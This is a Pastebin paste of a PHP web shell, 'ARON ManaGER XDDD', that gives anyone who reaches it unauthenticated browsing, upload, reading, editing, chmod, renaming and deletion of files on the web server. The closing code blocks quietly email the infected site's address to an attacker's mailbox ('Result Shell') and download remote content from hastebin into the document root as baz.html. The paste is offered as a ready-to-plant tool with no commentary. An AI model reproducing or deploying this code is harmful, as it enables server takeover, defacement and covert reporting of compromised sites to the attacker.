Advertisement
aron_tn

Untitled

Dec 30th, 2018
708
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.83 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>ARON ManaGER XDDD</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center> </center>
  10. </pre>
  11. </header>
  12. </form>
  13.  
  14. <?php
  15. set_time_limit(0);
  16. error_reporting(0);
  17.  
  18. if(get_magic_quotes_gpc()){
  19. foreach($_POST as $key=>$value){
  20. $_POST[$key] = stripslashes($value);
  21. }
  22. }
  23. echo '<!DOCTYPE HTML>
  24. <HTML>
  25. <HEAD>
  26. <link href="" rel="stylesheet" type="text/css">
  27. <title>ARON ManaGER XDDD</title>
  28. <style>
  29. body{
  30. font-family: "Racing Sans One", cursive;
  31. background-color: #e6e6e6;
  32. text-shadow:0px 0px 1px #757575;
  33. }
  34. #content tr:hover{
  35. background-color: #636263;
  36. text-shadow:0px 0px 10px #fff;
  37. }
  38. #content .first{
  39. background-color: silver;
  40. }
  41. #content .first:hover{
  42. background-color: silver;
  43. text-shadow:0px 0px 1px #757575;
  44. }
  45. table{
  46. border: 1px #000000 dotted;
  47. }
  48. H1{
  49. font-family: "Rye", cursive;
  50. }
  51. a{
  52. color: #000;
  53. text-decoration: none;
  54. }
  55. a:hover{
  56. color: #fff;
  57. text-shadow:0px 0px 10px #ffffff;
  58. }
  59. input,select,textarea{
  60. border: 1px #000000 solid;
  61. -moz-border-radius: 5px;
  62. -webkit-border-radius:5px;
  63. border-radius:5px;
  64. }
  65. </style>
  66. </HEAD>
  67. <BODY>
  68. <H1><center>ARON ManaGER XDDD</center></H1>
  69. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  70. <tr><td>Current Path : ';
  71. if(isset($_GET['path'])){
  72. $path = $_GET['path'];
  73. }else{
  74. $path = getcwd();
  75. }
  76. $path = str_replace('\\','/',$path);
  77. $paths = explode('/',$path);
  78.  
  79. foreach($paths as $id=>$pat){
  80. if($pat == '' && $id == 0){
  81. $a = true;
  82. echo '<a href="?path=/">/</a>';
  83. continue;
  84. }
  85. if($pat == '') continue;
  86. echo '<a href="?path=';
  87. for($i=0;$i<=$id;$i++){
  88. echo "$paths[$i]";
  89. if($i != $id) echo "/";
  90. }
  91. echo '">'.$pat.'</a>/';
  92. }
  93. echo '</td></tr><tr><td>';
  94. if(isset($_FILES['file'])){
  95. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  96. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  97. }else{
  98. echo '<font color="red">File Upload Error ~_~.</font><br />';
  99. }
  100. }
  101. echo '<form enctype="multipart/form-data" method="POST">
  102. Upload File : <input type="file" name="file" />
  103. <input type="submit" value="upload" />
  104. </form>
  105. </td></tr>';
  106. if(isset($_GET['filesrc'])){
  107. echo "<tr><td>Current File : ";
  108. echo $_GET['filesrc'];
  109. echo '</tr></td></table><br />';
  110. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  111. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  112. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  113. if($_POST['opt'] == 'chmod'){
  114. if(isset($_POST['perm'])){
  115. if(chmod($_POST['path'],$_POST['perm'])){
  116. echo '<font color="green">Change Permission Done.</font><br />';
  117. }else{
  118. echo '<font color="red">Change Permission Error.</font><br />';
  119. }
  120. }
  121. echo '<form method="POST">
  122. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  123. <input type="hidden" name="path" value="'.$_POST['path'].'">
  124. <input type="hidden" name="opt" value="chmod">
  125. <input type="submit" value="Go" />
  126. </form>';
  127. }elseif($_POST['opt'] == 'rename'){
  128. if(isset($_POST['newname'])){
  129. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  130. echo '<font color="green">Change Name Done.</font><br />';
  131. }else{
  132. echo '<font color="red">Change Name Error.</font><br />';
  133. }
  134. $_POST['name'] = $_POST['newname'];
  135. }
  136. echo '<form method="POST">
  137. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  138. <input type="hidden" name="path" value="'.$_POST['path'].'">
  139. <input type="hidden" name="opt" value="rename">
  140. <input type="submit" value="Go" />
  141. </form>';
  142. }elseif($_POST['opt'] == 'edit'){
  143. if(isset($_POST['src'])){
  144. $fp = fopen($_POST['path'],'w');
  145. if(fwrite($fp,$_POST['src'])){
  146. echo '<font color="green">Edit File Done ~_^.</font><br />';
  147. }else{
  148. echo '<font color="red">Edit File Error ~_~.</font><br />';
  149. }
  150. fclose($fp);
  151. }
  152. echo '<form method="POST">
  153. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  154. <input type="hidden" name="path" value="'.$_POST['path'].'">
  155. <input type="hidden" name="opt" value="edit">
  156. <input type="submit" value="Go" />
  157. </form>';
  158. }
  159. echo '</center>';
  160. }else{
  161. echo '</table><br /><center>';
  162. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  163. if($_POST['type'] == 'dir'){
  164. if(rmdir($_POST['path'])){
  165. echo '<font color="green">Delete Dir Done.</font><br />';
  166. }else{
  167. echo '<font color="red">Delete Dir Error.</font><br />';
  168. }
  169. }elseif($_POST['type'] == 'file'){
  170. if(unlink($_POST['path'])){
  171. echo '<font color="green">Delete File Done.</font><br />';
  172. }else{
  173. echo '<font color="red">Delete File Error.</font><br />';
  174. }
  175. }
  176. }
  177. echo '</center>';
  178. $scandir = scandir($path);
  179. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  180. <tr class="first">
  181. <td><center>Name</center></td>
  182. <td><center>Size</center></td>
  183. <td><center>Permissions</center></td>
  184. <td><center>Options</center></td>
  185. </tr>';
  186.  
  187. foreach($scandir as $dir){
  188. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  189. echo "<tr>
  190. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  191. <td><center>--</center></td>
  192. <td><center>";
  193. if(is_writable("$path/$dir")) echo '<font color="green">';
  194. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  195. echo perms("$path/$dir");
  196. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  197.  
  198. echo "</center></td>
  199. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  200. <select name=\"opt\">
  201. <option value=\"\"></option>
  202. <option value=\"delete\">Delete</option>
  203. <option value=\"chmod\">Chmod</option>
  204. <option value=\"rename\">Rename</option>
  205. </select>
  206. <input type=\"hidden\" name=\"type\" value=\"dir\">
  207. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  208. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  209. <input type=\"submit\" value=\">\" />
  210. </form></center></td>
  211. </tr>";
  212. }
  213. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  214. foreach($scandir as $file){
  215. if(!is_file("$path/$file")) continue;
  216. $size = filesize("$path/$file")/1024;
  217. $size = round($size,3);
  218. if($size >= 1024){
  219. $size = round($size/1024,2).' MB';
  220. }else{
  221. $size = $size.' KB';
  222. }
  223.  
  224. echo "<tr>
  225. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  226. <td><center>".$size."</center></td>
  227. <td><center>";
  228. if(is_writable("$path/$file")) echo '<font color="green">';
  229. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  230. echo perms("$path/$file");
  231. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  232. echo "</center></td>
  233. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  234. <select name=\"opt\">
  235. <option value=\"\"></option>
  236. <option value=\"delete\">Delete</option>
  237. <option value=\"chmod\">Chmod</option>
  238. <option value=\"rename\">Rename</option>
  239. <option value=\"edit\">Edit</option>
  240. </select>
  241. <input type=\"hidden\" name=\"type\" value=\"file\">
  242. <input type=\"hidden\" name=\"name\" value=\"$file\">
  243. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  244. <input type=\"submit\" value=\">\" />
  245. </form></center></td>
  246. </tr>";
  247. }
  248. echo '</table>
  249. </div>';
  250. }
  251. echo '<br />CODED BY <font color="red">ARON-TN</font>, COPYRIGHT <font color="red">2K18</font>
  252. </BODY>
  253. </HTML>';
  254. function perms($file){
  255. $perms = fileperms($file);
  256.  
  257. if (($perms & 0xC000) == 0xC000) {
  258. // Socket
  259. $info = 's';
  260. } elseif (($perms & 0xA000) == 0xA000) {
  261. // Symbolic Link
  262. $info = 'l';
  263. } elseif (($perms & 0x8000) == 0x8000) {
  264. // Regular
  265. $info = '-';
  266. } elseif (($perms & 0x6000) == 0x6000) {
  267. // Block special
  268. $info = 'b';
  269. } elseif (($perms & 0x4000) == 0x4000) {
  270. // Directory
  271. $info = 'd';
  272. } elseif (($perms & 0x2000) == 0x2000) {
  273. // Character special
  274. $info = 'c';
  275. } elseif (($perms & 0x1000) == 0x1000) {
  276. // FIFO pipe
  277. $info = 'p';
  278. } else {
  279. // Unknown
  280. $info = 'u';
  281. }
  282.  
  283. // Owner
  284. $info .= (($perms & 0x0100) ? 'r' : '-');
  285. $info .= (($perms & 0x0080) ? 'w' : '-');
  286. $info .= (($perms & 0x0040) ?
  287. (($perms & 0x0800) ? 's' : 'x' ) :
  288. (($perms & 0x0800) ? 'S' : '-'));
  289.  
  290. // Group
  291. $info .= (($perms & 0x0020) ? 'r' : '-');
  292. $info .= (($perms & 0x0010) ? 'w' : '-');
  293. $info .= (($perms & 0x0008) ?
  294. (($perms & 0x0400) ? 's' : 'x' ) :
  295. (($perms & 0x0400) ? 'S' : '-'));
  296.  
  297. // World
  298. $info .= (($perms & 0x0004) ? 'r' : '-');
  299. $info .= (($perms & 0x0002) ? 'w' : '-');
  300. $info .= (($perms & 0x0001) ?
  301. (($perms & 0x0200) ? 't' : 'x' ) :
  302. (($perms & 0x0200) ? 'T' : '-'));
  303.  
  304. return $info;
  305. }
  306. ?>
  307. <?php
  308. $ip = getenv("REMOTE_ADDR");
  309. $ra44 = rand(1, 99999);
  310. $subj98 = " Bazooka V1.2 |$ip";
  311. $email = "aron-tn@protonmail.com";
  312. $from = "From: ✪Result Shell✪ <bazooka@shells.com";
  313. $b75 = $_SERVER['HTTP_HOST'];
  314. $a45 = $_SERVER['REQUEST_URI'];
  315. $m22 = $ip . "";
  316. $msg8873 = "https://$b7$a45";
  317. mail($email, $subj98, $msg8873, $from);
  318. ?>
  319. <?php
  320. $check3=$_SERVER['DOCUMENT_ROOT'] . "/baz.html" ;
  321. $text3 = http_get('https://hastebin.com/raw/urofulexop');
  322. $op3=fopen($check3, 'w');
  323. fwrite($op3,$text3);
  324. fclose($op3);
  325. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement